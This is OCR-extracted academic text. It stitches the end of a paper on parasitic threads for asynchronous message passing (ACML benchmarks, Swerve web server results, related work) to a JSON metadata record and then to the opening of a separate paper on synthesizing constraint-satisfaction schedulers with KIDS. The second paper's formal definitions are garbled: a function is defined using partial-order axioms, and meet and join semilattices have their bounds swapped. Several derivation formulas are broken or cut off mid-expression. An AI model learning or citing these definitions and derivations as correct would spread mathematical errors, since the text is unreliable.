allows for greater concurrency between the communicating threads, and hence, exhibits better parallel performance. The number of hosts for the non-parasitic version of Par-fib could not be obtained, since the program did not complete execution as it runs out of memory. The Par-fib program creates a very large number of threads, most of which are alive throughout the lifetime of the program. We observed that even for smaller Fibonacci numbers, Figure 11: Speedup relative to optimized serial execution. Number of cores is on the x-axis, with relative speedup on the y-axis. the non-parasitic version of Par-fib spent most of its time performing GC. Not only did the parasitic version of Par-fib run, but scaled as the number of cores were increased. 6.3 Scalability Speedup results are presented in Figure 11. Baseline is a version of the programs optimized for serial execution, without the overhead of threading wherever possible. In general, we see that the parasitic versions perform better than their corresponding non-parasitic versions, and shared-heap parallel GC shows better scalability on increasing number of cores. We also noticed that shared-heap parallel GC performs slower than the stop-the-world versions (Sieve-primes and Mat-mult), if the amount of shared data is large. Here, shared-heap parallel GC suffers the cost of copying the transitive closure of the objects from the local heap to the shared heap, when only a small portion of the closure is actually accessed in parallel. Even here, parasitic versions perform better. We believe transitive closure lifting cost can be alleviated by lifting parts of the closure on demand. Parasitic threads also exhibit good scalability in the highly concurrent Par-tak and Par-fib benchmarks. As mentioned earlier, the speedup for the non-parasitic version of Par-fib is not presented as the program did not successfully run to completion. 6.4 Swerve Swerve is designed as a collection of sub-components such as file processor, network processor, connection manager, etc. CML communication abstractions are utilized for inter-component interaction. This construction easily lends itself for multi-core execution. We evaluated the performance of swerve on three configurations; a parallel CML (PCML) implementation, an ACML implementation using host threads, and an ACML implementation using parasites. The parallel CML version uses synchronous communication for interaction between different sub-components. By utilizing asynchronous communication, overall concurrency in the system is increased. We utilized Httperf to measure the reply rate of different configurations by repeatedly accessing a 10KB file. We issued connections at a rate of 2500 connections per second. In each case, swerve was run on 16 cores. The PCML implementation scaled up to 1610 replies per second. As expected, naively spawning lightweight threads for asynchrony in the ACML version using host threads, suppressed the benefits of increased concurrency in the program due to communication overheads. Swerve with ACML implemented on hosts scaled up to 1580 replies per second. By mitigating the overheads of asynchrony, swerve with parasites scaled was able to scale better and offered up to 2230 replies per second. 7. Related Work There are a number of languages and libraries which support varying kinds of message-passing styles. Systems such as MPI [17, 30] support per-processor static buffers, while CML [26], Erlang [2], F# [29], and MPJ [3] allow for dynamic channel creation. Although MPI supports two distinct styles of communication, both asynchronous and synchronous, not all languages provide primitive support for both. For instance, Erlang’s fundamental message passing primitives are asynchronous, while CML’s primitives are synchronous. We described how parasites can be utilized to improve the performance of ACML, which supports both synchronous and asynchronous communication. We believe the benefits of parasitic threads can be leveraged regardless of the underlying fundamental message passing primitive used. There has been much interest in lightweight threading models ranging from using runtime managed thread pools such as those found in C# [28] and the Java util.concurrent package [16], to continuation-based systems found in functional languages such as Scheme [15, 22], CML [26], Haskell [11], and Erlang [2]. Parasitic threads can be viewed as a form of lightweight threading, though there are a number of key differences. In addition to describing a non-local control flow abstraction, scheduling and migration are an integral part of parasitic threads. This makes parasites ideal for short-lived computation, by avoiding the scheduler overheads and localizing the thread interactions. Worker pool models for executing asynchronous tasks have been explored in languages like F#, for latency masking in I/O operations. However, this model is not effective for implementing tightly interacting asynchronous tasks. In the worker pool model, even a short-lived asynchronous computation is not started immediately, but only when a worker is free, and hence delaying transitively dependent tasks. This model also suffers from contention on the task queues in a parallel setting. Finally, the amount of concurrency is limited by the number of workers in the pool of threads. Previous work on avoiding thread creation costs have focused on compiler and runtime techniques for different object representations [9, 22] and limiting the computations performed in a thread [14, 15]. The most similar among the previous work to parasitic threads is Lazy Threads [10], which allow encoding arbitrary computation in a potentially parallel thread. The lazy threads start off as regular function calls, just like parasites. The key difference of this work to parasites is that when a lazy thread blocks, it is not reified, and is left in the host stack, right on top of its parent. Any subsequent function calls made by the parent are executed in a new stack, and the system thus has spaghetti stacks. Lazy threads assume that blocking is rare, whereas the common case in a parasitic thread is blocking on a synchronous communication. Leaving the parasites on the host would be detrimental to the performance since even if one parasite blocks, all subsequent sequential function calls and parasite creation on the host will have to be run on a separate thread. Parasite also support implicit migration to the point of synchronization, and helps to localize interactions, which is not possible if the parasites are pinned to the hosts. Parasites also share some similarity to dataflow [13, 23] languages, insofar as they represent asynchronous computations that block on dataflow constraints; in our case, these constraints are manifest via synchronous message-passing operations. Unlike classic dataflow systems, however, parasites are not structured as nodes in a dependency graph, and maintain no implicit dependency relationship with the thread that created it. CML [26] supports buffered channels with mailboxes. While parasites can be used to encode asynchronous sends, unlike buffered channels, they provide a general solution to encode arbitrary asynchronous computation. Work sharing and work stealing [1, 4] are well-known techniques for load balancing multi threaded tree-structured computations, and has been used effectively in languages like Cilk [9] to improve performance. Work sharing is a push model while work stealing is a pull model, and each model has its pros and cons. In our system, host threads are scheduled by work sharing, by eagerly spawning in a round-robin fashion, while parasites are implicitly stolen during channel communication. 8. Conclusions This paper describes a novel threading mechanism called parasites that enables lightweight asynchronous computation. The key distinguishing feature of parasites is its ability to execute using the resources of a host thread. Parasitic threads are exposed as a threading library for building higher level abstractions, encapsulating demand-driven scheduling and migration. This mechanism enables higher-level programmability without imposing additional scheduling and thread management overheads. Performance evaluation of parasitic threads on two different GC schemes illustrate that parasitic threads are beneficial irrespective of the underlying GC schemes. References
{"Source-Url": "https://docs.lib.purdue.edu/cgi/viewcontent.cgi?article=2741&context=cstech", "len_cl100k_base": 12569, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 47225, "total-output-tokens": 14761, "length": "2e13", "weborganizer": {"__label__adult": 0.0003008842468261719, "__label__art_design": 0.00031495094299316406, "__label__crime_law": 0.00025773048400878906, "__label__education_jobs": 0.0006427764892578125, "__label__entertainment": 7.748603820800781e-05, "__label__fashion_beauty": 0.00013697147369384766, "__label__finance_business": 0.00015604496002197266, "__label__food_dining": 0.00029349327087402344, "__label__games": 0.000629425048828125, "__label__hardware": 0.0014743804931640625, "__label__health": 0.0004086494445800781, "__label__history": 0.0003247261047363281, "__label__home_hobbies": 0.00011497735977172852, "__label__industrial": 0.00046133995056152344, "__label__literature": 0.0002231597900390625, "__label__politics": 0.00026869773864746094, "__label__religion": 0.0005631446838378906, "__label__science_tech": 0.04022216796875, "__label__social_life": 8.83936882019043e-05, "__label__software": 0.007511138916015625, "__label__software_dev": 0.9443359375, "__label__sports_fitness": 0.0003197193145751953, "__label__transportation": 0.0006003379821777344, "__label__travel": 0.0002162456512451172}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 63971, 0.02455]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 63971, 0.24533]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 63971, 0.90639]], "google_gemma-3-12b-it_contains_pii": [[0, 641, false], [641, 5340, null], [5340, 12481, null], [12481, 18397, null], [18397, 23827, null], [23827, 31491, null], [31491, 36829, null], [36829, 40170, null], [40170, 45441, null], [45441, 52128, null], [52128, 52258, null], [52258, 57352, null], [57352, 63971, null]], "google_gemma-3-12b-it_is_public_document": [[0, 641, true], [641, 5340, null], [5340, 12481, null], [12481, 18397, null], [18397, 23827, null], [23827, 31491, null], [31491, 36829, null], [36829, 40170, null], [40170, 45441, null], [45441, 52128, null], [52128, 52258, null], [52258, 57352, null], [57352, 63971, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 63971, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 63971, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 63971, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 63971, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 63971, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 63971, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 63971, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 63971, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 63971, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 63971, null]], "pdf_page_numbers": [[0, 641, 1], [641, 5340, 2], [5340, 12481, 3], [12481, 18397, 4], [18397, 23827, 5], [23827, 31491, 6], [31491, 36829, 7], [36829, 40170, 8], [40170, 45441, 9], [45441, 52128, 10], [52128, 52258, 11], [52258, 57352, 12], [57352, 63971, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 63971, 0.01736]]}
olmocr_science_pdfs
2024-12-08
2024-12-08
871dcaae71b0b182a7e2a6cbd15949123fe7ded3
Synthesis of Efficient Constraint Satisfaction Programs Stephen J. Westfold and Douglas R. Smith Kestrel Institute 3260 Hillview Avenue Palo Alto, California 94304 Introduction Software synthesis is the process of transforming a formal problem specification into software that is efficient and correct by construction. We have used KIDS (Kestrel Interactive Development System) over the last ten years to synthesize very efficient programs for a variety of scheduling problems (Smith, Parra, & Westfold 1996; Smith & Westfold 1995; M.H.Burstein & Smith 1996). The efficiency of these schedulers system is based on the synthesis of specialized constraint management code for achieving arc-consistency. Previous systems for performing scheduling in AI (e.g. (Fox & Smith 1984; Fox, Sadeh, & Baykan 1989; Smith, Fox, & Ow 1986; Smith 1989)) and Operations Research (Applegate & Cook 1991; Luenberger 1989) use constraint representations and operations that are geared for a broad class of problems, such as constraint satisfaction problems or linear programs. In contrast, synthesis techniques can derive specialized representations for constraints and related data, and also derive efficient specialized code for constraint checking and constraint propagation. Synthesis technology allows us to specialize the code by exploiting both problem-independent knowledge (theory of linear programming, finite domains, etc.) as well as problem-specific information obtained from the problem specification. In this paper we focus on the underlying ideas that lead to the efficiency of our synthesized scheduling programs and explore their generality. Our constraint satisfaction algorithms fall into the class of global search algorithms. We have explored this class in more depth elsewhere (Smith 1987; Smith & Westfold 1995). Here we focus on a formulation that uses points in a semilattice to represent solution spaces. This semilattice framework naturally allows for heterogeneous variables (variables of different types), multiple constraints on each variable, indexed variables, conditional constraints and a dynamic set of variables. The basic idea of global search is to represent and manipulate sets of candidate solutions or solution spaces. The principal operations are to extract candidate solutions from a solution space and to split a space into subspaces. Derived operations include (1) filters which are used to eliminate spaces containing no feasible or optimal solutions, and (2) cutting constraints that are used to eliminate non-feasible elements from a space of candidate solutions. Global search algorithms work as follows: starting from an initial space that contains all solutions to the given problem instance, the algorithm repeatedly splits spaces into subspaces—refinements of the space—eliminates spaces via filters, and contracts spaces by propagating cutting constraints until no spaces remain to be split. The process is often described as a tree (or DAG) search in which a node represents a solution space and an arc represents the split relationship between space and subspace. The filters and constraint propagators serve to prune off branches of the tree that cannot lead to solutions. See Figure 1 which illustrates the working of pruning and constraint propagation on solution spaces. The key to the efficiency of global search algorithms is the reduction of the size of the search space by an effective representation of solution spaces that allows constraint propagation and pruning at the level of solution spaces rather... than individual concrete solutions. There is a certain amount of freedom in the formulation of solution spaces. We have found that it is desirable to choose a formulation with a (meet) semilattice structure. A solution space is represented by a point in the semilattice which is the greatest lower bound of the solution space. This structure gives you the property that a solution space for one constraint can be combined with the solution space of another constraint (using the meet operation—\( \sqcap \)) to produce the solution space for the conjunction of the two constraints. Rehof and Mogensen have shown that satisfiability of sets of definite inequality constraints involving monotone functions in a finite meet semilattice can be decided by a linear-time algorithm (Rehof & Mogensen 1999) using a fixpoint iteration. Their notion of definite inequality generalizes the logical notion of Horn clauses from the two-point boolean lattice of the truth values to arbitrary finite semilattices. One indication of the power of this class is that arc consistency implies global consistency. We refer to the Rehof and Mogensen algorithm as algorithm \( \text{RM} \). In CSP terms, a definite inequality problem has the desirable property that arc consistency implies globally consistency. The \( \text{RM} \) algorithm is a (hyper)arc-consistency algorithm. Our work can be viewed as adding disjunctive constraints to their framework\(^2\). The disjunctions are handled primarily by a search that incrementally generates conjunctive problems that are solved efficiently using essentially the algorithm \( \text{RM} \). ### Framework We use the language of first-order predicate calculus for specification. A binary relation on a set \( S \) is a subset of the product \( S \times S \). A function \( f \) from a set \( A \) to a set \( B \), written \( f : A \to B \), is a subset of \( A \times B \) such that for each \( a \in A \) there is exactly one \( b \in B \) with \( (a, b) \in f \). In this case we write \( f(a) = b \). A definitions of \( f \) is presented as follows: **Definition**. A function \( f : S \to S \) is a binary relation defined on a set \( S \) if the following conditions hold: \[ \forall(x) \ x \sqsubseteq x \\ \forall(x, y) \ (x \sqsubseteq y \land y \sqsubseteq x \Rightarrow x = y) \quad \text{(reflexivity)} \\ \forall(x, y, z) \ (x \sqsubseteq y \land y \sqsubseteq z \Rightarrow x \sqsubseteq z) \quad \text{(transitivity)} \] A function \( f \) is monotone with respect to the partial order if \( \forall(x, y) \ (x \sqsubseteq y \Rightarrow f(x) \sqsubseteq f(y)) \). **Definition**. Let \( \sqsubseteq \) be a partial order on \( S \) and \( T \) a subset of \( S \). An element \( p \in S \) is a least upper bound of \( T \) if \( \forall(x) \ (x \in T \Rightarrow x \sqsubseteq p) \) and \( \forall(y) \ (y \in S \land \forall(x) \ (x \in T \Rightarrow x \sqsubseteq y) \Rightarrow p \sqsubseteq y) \). Similarly an element \( p \in S \) is a greatest lower bound of \( T \) if \( \forall(x) \ (x \in T \Rightarrow x \sqsubseteq y) \) and \( \forall(y) \ (y \in S \land \forall(x) \ (x \in T \Rightarrow x \sqsubseteq y) \Rightarrow y \sqsubseteq p) \). **Definition**. A set \( S \) with partial order \( \sqsubseteq \) is a meet semilattice iff every pair \( a, b \) in \( S \) has a least upper bound. \( a \sqcup b \) (or \( \sqcup(a, b) \)) is defined to be the least upper bound of \( \{a, b\} \). Similarly, it is a join semilattice iff every pair \( a, b \) in \( S \) has a greatest lower bound, and \( a \sqcap b \) is defined to be this greatest lower bound. It is a lattice if it is both a semilattice and a join semilattice. We refer to meet and join semilattices using the structures \((S, \sqsubseteq, \sqcup)\) and \((S, \sqsubseteq, \sqcap)\) and full lattices using the structure \((S, \sqsubseteq, \sqcup, \sqcap)\). Example lattices are \((\text{Integer}, \leq, \text{max}, \text{min}), (x, \sqsubseteq, \sqcup, \sqcap)\), and the boolean lattice \(((\text{true}, \text{false}), \Rightarrow, \lor, \land)\). Two semilattices \((S_1, \sqsubseteq_1, \sqcup_1)\) and \((S_2, \sqsubseteq_2, \sqcap_2)\) can be combined to make a product semilattice \((S_1 \times S_2, \sqsubseteq_1 \sqcap_1, \sqcup_1 \sqcap_1)\) where \[ definition x \sqsubseteq_1 y = (x.1 \sqsubseteq_1 y.1 \land x.2 \sqsubseteq_2 y.2) \\ definition x \sqcup_1 y = (x.1 \sqcup_1 y.1 \land x.2 \sqcup_2 y.2) \] A semilattice \((S, \sqsubseteq, \sqcup)\) or \((S, \sqsubseteq, \sqcap)\) may have top \((T)\) and/or bottom \((\bot)\) elements defined as follows: \[ \forall(x) \ (x \in S \Rightarrow x \sqsubseteq T) \\ \forall(x) \ (x \in S \Rightarrow \bot \sqsubseteq x) \] The computational significance of the meet semilattice structure is that it allows two constraints on a variable \( x \) of the form \( c_1 \sqsubseteq x \land c_2 \sqsubseteq x \), where \( c_1 \) and \( c_2 \) are constants in a lattice, to be replaced by the equivalent single constraint \( c_3 \sqsubseteq x \) where \( c_3 = c_1 \sqcup c_2 \). We follow the definitions of Rehof and Mogensen (Rehof & Mogensen 1999) in introducing the concept of definite inequalities. **Definition**. An inequality is called definite if it has the form \( \tau \subseteq A \), where \( A \) is an atom (a constant or a variable) and \( \tau \) is a term whose functions are all monotone. Rehof and Mogensen showed that satisfiability of a set (conjunction) of definite inequalities can be decided in linear time for a meet semilattice domain. For the two-point boolean lattice this is exactly the satisfiability of propositional Horn clauses (HornSAT) problem (since Horn clauses have the form \( P_1 \land \ldots \land P_n \Rightarrow Q \), which is the inequality \( P_1 \sqcap \ldots \sqcap P_n \sqcap Q \) in the boolean lattice). The problem we are considering in this paper is solving sets (conjunctions) of disjunctive definite inequalities over meet semilattices. This problem is NP-complete with propositional satisfiability (SAT) as an instance. Although the problem formulation allows any number of variables, only one is necessary, as we can replace \( n \) variables by a single variable whose value is the \( n \)-tuple of the values of the \( n \) variables. The domain of the single variable is the product semilattice of the \( n \) semilattices of the domains of the variables. This allows heterogeneous problems, where the variable domains are different, to be handled in our framework. Similarly, dynamic problems, where the number of variables constrained can increase during problem solving, can be handled via semilattice structure on dynamic maps and sequences. For example, consider the heterogeneous problem with two semilattices \((S_1, \sqsubseteq_1, \sqcup_1)\) and \((S_2, \sqsubseteq_2, \sqcup_2)\), and func- tions \( f_1 : S_1 \times S_2 \rightarrow S_1 \) and \( f_2 : S_1 \times S_2 \rightarrow S_2 \), with the following two constraints on the variables \( A_1 : S_1 \) and \( A_2 : S_2 \): \[ \begin{align*} f_1(A_1, A_2) & \subseteq A_1 \\ f_2(A_1, A_2) & \subseteq A_2 \end{align*} \] These are equivalent to \[ \begin{align*} f_1(A_1, A_2) & \subseteq A_1 \\ f_2(A_1, A_2) & \subseteq A_2 \end{align*} \] where \( A = (A_1, A_2) \). The transformed constraint set is not yet in definite form because the right-hand sides are not \( A \) but they can be transformed using the following equivalence for a product semilattice \((S_1 \times S_2, \sqsubseteq_p, \sqcup_p)\): \[ \tau \sqsubseteq_p A_i \iff \text{tuple-shad}(A, i, \tau) \sqsubseteq_p A \] where \( \text{tuple-shad}(tp, i, z) \) is the tuple \( tp \) with the \( i \)th component replaced by \( z \). The transformed constraint set in definite form is \[ \begin{align*} \text{tuple-shad}(A, 1, f_1(A_1, A_2)) & \subseteq A \\ \text{tuple-shad}(A, 2, f_2(A_1, A_2)) & \subseteq A \end{align*} \] In the examples below we use the component forms of inequalities as they are simpler. A naïve method for solving our problem of a conjunction of disjunctions of definite inequalities is to distribute conjunction over disjunction to get a disjunction of conjunctions. Algorithm \( RM \) can be used to solve each conjunction of definite inequalities independently and the derived solution sets can then be unioned together to create the total solution. However, this is very inefficient in general. We now describe a global search algorithm for this problem that exploits the incremental nature of algorithm \( RM \): the solution to a definite constraint set \( S \) can be used instead of \( \perp \) as the starting point for the fixpoint iteration to find the solution to \( S \) with an extra definite constraint. Each node in the global search tree consists of a solution to a conjunctive problem plus the set of remaining disjunctions. The top node consists of the solution to the empty problem, \( \perp \), of the semilattice, and the initial problem as a set of disjunctions. Children nodes are incrementally refined from their parent by choosing one remaining disjunction and creating a child node for each disjunct by adding the disjunct to the conjunctive problem solved by the parent and iterating to a fixpoint using algorithm \( RM \). Constraint propagation is used to eagerly reduce the size of remaining disjunct sets, pruning the space when a disjunct set becomes empty and incorporating the remaining disjunct of a unary disjunction into the current conjunctive problem. We add a \( \top \) to the semilattice and all its components to represent the space becoming empty which means failure in the search tree. Whenever propagation leads to any component becoming \( \top \), then the whole space becomes \( \top \) and the branch can be pruned. We do not discuss the choice of which disjunct set to expand and what order to explore disjuncts, as conventional considerations such as disjunct set size are applicable. In the large scheduling problems we have focused on, there are a large number of very large disjunct sets, so it is desirable to represent them procedurally rather than explicitly. In the rest of the paper we illustrate the process of deriving a global search algorithm by applying it to an example. The steps are: 1. Specify problem to be solved. 2. Derive reformulation into disjunctions of definite inequalities. 4. Generate constraint propagation code. 5. Generate code for extracting solutions for the original problem. All steps after the problem specification are performed automatically by the KIDS system. **Simple Scheduling Example** We describe a simple transportation scheduling problem that includes essential features found in our real scheduling problems. The input is a set of \( MVRs \), where an \( MVR \) is a Movement Requirement—a description of cargo that has to be moved. In this simple version an \( MVR \) includes information about when the cargo is available to be moved (\( release-time \)) and by when it must arrive (\( due-time \)). We have a single transportation resource to be scheduled (e.g. a plane), so a schedule is a single sequence of \( trips \). Each trip has a start time and a set of \( MVRs \) it has been assigned to fulfill: \( sched(i).trip-start \) is the start time of the \( i \)th trip in schedule \( sched \), and \( sched(i).trip-MVRs \) is the manifest of the \( i \)th trip in \( sched \)—the \( MVRs \) assigned to that trip. Figure 2 gives an example of a scheduling problem and a solution schedule. The \( release-times \) and \( due-times \) of the five \( MVRs \) (labelled for convenient reference \( a, b, c, d \) and \( e \)) to be assigned are plotted above the time axis (the vertical axis has no meaning) and a solution schedule consisting of three trips is plotted beneath it. Trips 1 and 2 start at the earliest possible time (given their manifests) whereas trip 3 starts somewhat later than the earliest possible time. There are many similar solution schedules with slight shifts in the start times. The specification of valid schedules is \[ \text{definition valid-schedules(MVRs)} = \\ \{ sched | \text{all-MVRs-scheduled(MVRs, sched)} \land \text{MVRs-ready(sched)} \land \text{MVRs-due(sched)} \land \text{trip-separations(sched)} \} \] Every \( MVR \) has to be scheduled on some trip \(^4\). \(^3\)The problem is simplified to the extent that it is not NP-complete. Adding capacity bounds would be sufficient to make finding a feasible solution NP-complete. \(^4\)This constraint does not preclude an \( MVR \) from appearing on more than one trip, but the derived algorithm does not try to make a constraint true if it already is true, so it does not put an \( MVR \) on another trip if it is already on one. Definition all-MVRs-scheduled(MVRs, sched) = \(\forall (m : MVR)\) \( (m \in MVRs \Rightarrow \exists (i (i \in \{1..size(sched)\} \land mesched(i).trip-MVRs)) \) A trip cannot start until after the release dates of all the MVRs assigned to it. Definition MVRs-ready(sched) = \(\forall (i : Int, m : MVR)\) \( (i \in \{1..size(sched)\} \land m \in sched(i).trip-MVRs \Rightarrow release-time(m) \leq sched(i).trip-start) \) A trip must complete before all the due dates of the MVRs assigned to it. Definition MVRs-due(sched) = \(\forall (i : Int, m : MVR)\) \( (i \in \{1..size(sched)\} \land m \in sched(i).trip-MVRs \Rightarrow due-time(m) - duration \geq sched(i).trip-start) \) Typically the duration is a function of the properties of a trip, but this has little effect on the derivations in this paper so we make it a constant for simplicity. A trip cannot begin until the previous trip has ended. Definition trip-separations(sched) = \(\forall (i : Int)\) \( (i \in \{1..size(sched)\} - 1 \Rightarrow sched(i).trip-start + duration \leq sched(i+1).trip-start) \) Again, typically there is a gap between the end of one trip and the beginning of the next, but our derivations only depend on the lack of overlap among trips. Reformulation of Constraints The scheduling constraints are not disjunctive definite inequalities as specified. The most fundamental problem is that they give both upper and lower bounds on the trip-start component of trips. In other words, the full lattice structure of time is being used. We address this problem by considering the lattice as two semilattices, one for increasing time and the other for decreasing time. We introduce components for greatest lower bound (earliest-trip-start) and least upper bound (latest-trip-start). These are related to trip-start: \(z.earliest-trip-start \leq z.trip-start \leq z.latest-trip-start\) From these bounds, we can infer versions of the constraints that have the form of definite inequalities, giving us a reformulated problem. Figure 3 shows the reformulated version of the problem given in Figure 2 with its solution. The Figure 2 solution can be extracted by taking the earliest start and finish times of the first two trips and a slightly later time for the third trip. The earliest-trip-start of trips 1 and 2 is the same as the release-time of MVRs b and d respectively, because of the MVRs-ready constraint. The earliest-trip-start of trip 3 is the same as the earliest finish time of trip 2 which is later than the release-time of MVR e because of the trip-separations constraint. Similarly, the latest trip finish time of trips 2 and 3 is the same as the due-time of MVRs c and e respectively, because of the MVRs-due constraint, and the latest trip finish time of trip 1 is the same as the latest-trip-start of trip 2 because of the trip-separations constraint. The latest-trip-start of a trip is its latest trip finish less duration. The reformulated problem has only one solution for a given assignment of MVRs to trip-MVRs. All solutions to the original problem can be extracted from the solution to the reformulated problem. Not all values selected from the ranges are compatible, for example choosing the latest-trip- start for trip 1 and the earliest-trip-start for trip 2 is incom- patible with the trip-separations constraint. However, there is at least one solution for any trip-start chosen from the range of earliest-trip-start and latest-trip-start. Here is a simplified treatment of the inference for the def- inition of MVRs-ready. Ignoring the antecedent and incor- porating the bounds on trip-start, we essentially have \( \forall (i : \text{Int}, m : \text{MVR}) \) \( (a \in \{1..\text{size}(\text{sched})\} \land m \in \text{sched}(i).\text{trip-MVRs} \) \( \Rightarrow \text{release-time}(m) \leq \text{sched}(i).\text{earliest-trip-start} \) then using the general law \( \forall (i : \text{Int}, m : \text{MVR}) \_ (\text{sched}(i).\text{earliest-trip-start} < \text{sched}(i).\text{trip-start} = \text{sched}(i+1).\text{earliest-trip-start}) \) V(i : Int, t : Time) (i \in \{1..\text{size}(\text{sched})\} - 1) \( \land t \leq \text{sched}(i+1).\text{earliest-trip-start} \) An analogous derivation stemming from application of monotonicity to the second occurrence of trip-start results in definition trip-separations-lts(\text{sched}) = \( \forall (i : \text{Int}, t : \text{Time}) \) (i \in \{1..\text{size}(\text{sched})\} - 1) \( \land t \geq \text{sched}(i+1).\text{latest-trip-start} \) Generating Splitting Code The all-MVRs-scheduled constraint provides the disjunc- tion that leads to the global search splitting. \( \forall (m : \text{MVR}) \) \( (m \in \text{MVRs} \) \( \Rightarrow \exists(i) (i \in \{1..\text{size}(\text{sched})\} \land \text{mesched}(i).\text{trip-MVRs} = m) \) This is not in the form of a set of disjunctions of definite inequalities. However, it is equivalent to the form \( \bigwedge \bigvee \{m \subseteq \text{sched}(i).\text{trip-MVRs} \) m \in \text{MVRs} i \in \{1..\text{size}(\text{sched})\} \) which is an indexed conjunction of disjunctions of definite inequalities in the meet semilattice of sets with union as meet for the trip-MVRs component of a trip. Thus for every MVR there is a disjunction consisting of the MVR being on any one of the trips of the schedule. How- ever, the number of trips is not known in advance. At each point in the elaboration of the search tree, the MVR could be added to an existing trip or a new trip could be created and the MVR added to it. Thus there are two kinds of in- cremental refinement to the solution space: adding an MVR to a trip and adding a new empty trip (to which we then add an MVR). These two basic refinements can be expressed: \( \text{sched}'(i).\text{trip-MVRs} = \text{sched}(i).\text{trip-MVRs} \cup \{m\} \) \( \text{sched}' = \text{append}(\text{sched}, \text{trip}_1) \) (append-new-trip) where \( \text{sched} \) is the solution space of schedules before the refinement, \( \text{sched}' \) is the solution space of schedules after the refinement, and \( \text{trip}_1 \) is the empty trip, the bottom of the semilattice of trips. For completeness it is necessary to also consider the new trip \( \forall (i : \text{Int}, m : \text{MVR}) \) \( \text{sched}(i).\text{earliest-trip-start} + \text{duration} \) \( \leq \text{sched}(i+1).\text{earliest-trip-start} \) The final result is shown below, after we do some normal- ization, introducing a variable \( t \) for the \( r \) expression of the definite inequality. This reduces the cases that need to be considered when deriving specialized constraints (as de- scribed in the next section). \( \forall (i : \text{Int}, t : \text{Time}) \) \( (i \in \{1..\text{size}(\text{sched})\} - 1) \) \( \land t = \text{sched}(i).\text{earliest-trip-start} + \text{duration} \) \( \Rightarrow t \leq \text{sched}(i+1).\text{earliest-trip-start} \) \( \forall (i : \text{Int}, t : \text{Time}) \) \( (i \in \{1..\text{size}(\text{sched})\} - 1) \) \( \land t \geq \text{sched}(i+1).\text{latest-trip-start} \) \( \bigwedge \bigvee \{m \subseteq \text{sched}(i).\text{trip-MVRs} \) m \in \text{MVRs} i \in \{1..\text{size}(\text{sched})\} \) To use these refinements it is convenient to have them in the form $A' = f(A)$. The second is already in this form; the first can be converted to $$sched' = seq-shad(sched, i, tuple-shad(sched(i), trip-MVRs, sched(i).ui MVRs \{r n\}))$$ where $seq-shad(S, i, z)$ is equal to sequence $S$ except that at index $i$ its value is $z$. **Specialized Constraint Propagation Code** The constraints are still not in the form of definite inequalities. Apart from *all-MVRs-scheduled* they have the form $$\forall(x) \ (p(A, x) \Rightarrow x \subseteq A).$$ However this is equivalent to either of the forms $$\text{reduce}(U, \{x \mid p(A, x)\}) \subseteq A$$ $$\bigwedge \ x \mid p(A, x)$$ which are definite inequalities provided that $p$ is monotonic, which is the case for our examples. Our derivation of propagation code works with the quantified implication form, the propagation being forward inference. After every refinement one could re-evaluate all the bounds from scratch but for efficiency it is desirable to specialize the constraint to the particular refinement. We exploit the properties that the constraint was true in the previous solution space and that we have just made an incremental refinement of this space. We generate a procedure for each different kind of incremental refinement to the solution space (such as append-new-trip and update-trip-MVRs) and include in each procedure constraint checking and propagation code that is specialized to the particular incremental refinement. For example, when appending a new trip to the end of the sequence of trips, the earliest start time of the new trip may be dependent on the earliest start time of the previous trip, whereas the latest start time of the new trip may affect the latest start time of the previous trip. Our concern in this section is how to derive such dependencies automatically. First we describe an abstract version of the derivations. In the next subsection we give a detailed derivation of specializing a particular constraint, and then we give brief derivations of specialization of the other constraints. Consider an incremental refinement to $A$ by some function $g$: $$A' = g(A) \quad (so \ A \subseteq A')$$ and a definite constraint $C$ on $A$ given by --- Figure 3: Reformulated Scheduling Problem Solution \( C(A) = \forall (x) \ (p(A, x) \Rightarrow x \subseteq A) \) We assume that the constraint \( C \) is true for the initial space \( A \) and we want it to be true in the refined space \( A' \). \( C(A) \) is true if for all \( x \), \( p(A, x) \) is false or \( x \subseteq A \) is true. In the latter case we have simply that \( x \subseteq A' \) by transitivity, so we can use \( A \) as an initial approximation of \( A' \). To find additional values of \( x \) that belong in \( A' \) we assume the former case: we simplify \( C(A') \) under the assumption that \( p(A, x) \) is false. We call this simplified \( C(A') \) the residual constraint for \( C \) given the refinement. For the common case where \( p \) is a conjunction, this does not work well in practice because the negation is a disjunction which is difficult to use in simplification. Instead we treat each conjunct separately and combine the results as follows: if \( p(A, x) = (p_1(A, x) \land p_2(A, x)) \) and the residuals for \( p_1(A, x) \) and \( p_2(A, x) \) are \( h_1(A, x) \) and \( h_2(A, x) \) respectively then the full residual constraint is \[ \forall (x) \ (h_1(A, x) \land p_2(A', x) \Rightarrow x \subseteq A') \] \[ \land \forall (x) \ (p_1(A', x) \land h_2(A, x) \Rightarrow x \subseteq A') \] If a constraint is unaffected by the refinement then its residual is false. **Specializing MVRs-ready** We now use this derivation scheme to derive the residual constraint for MVRs-ready: \[ \forall (i : \text{Int}, m : \text{MVR}) \] \[ \ (i \in \{1..\text{size}(\text{sched})-1\} \land m \in \text{sched}(i).\text{trip-MVRs} \] \[ \Rightarrow \text{release-time}(m) \leq \text{sched}(i).\text{earliest-trip-start} \] \[ \text{given the update-trip-MVRs refinement} \] \[ \text{sched}' = \text{seq-shad}(\text{sched}, i_c, \text{update-trip-MVRs'}) \] \[ = 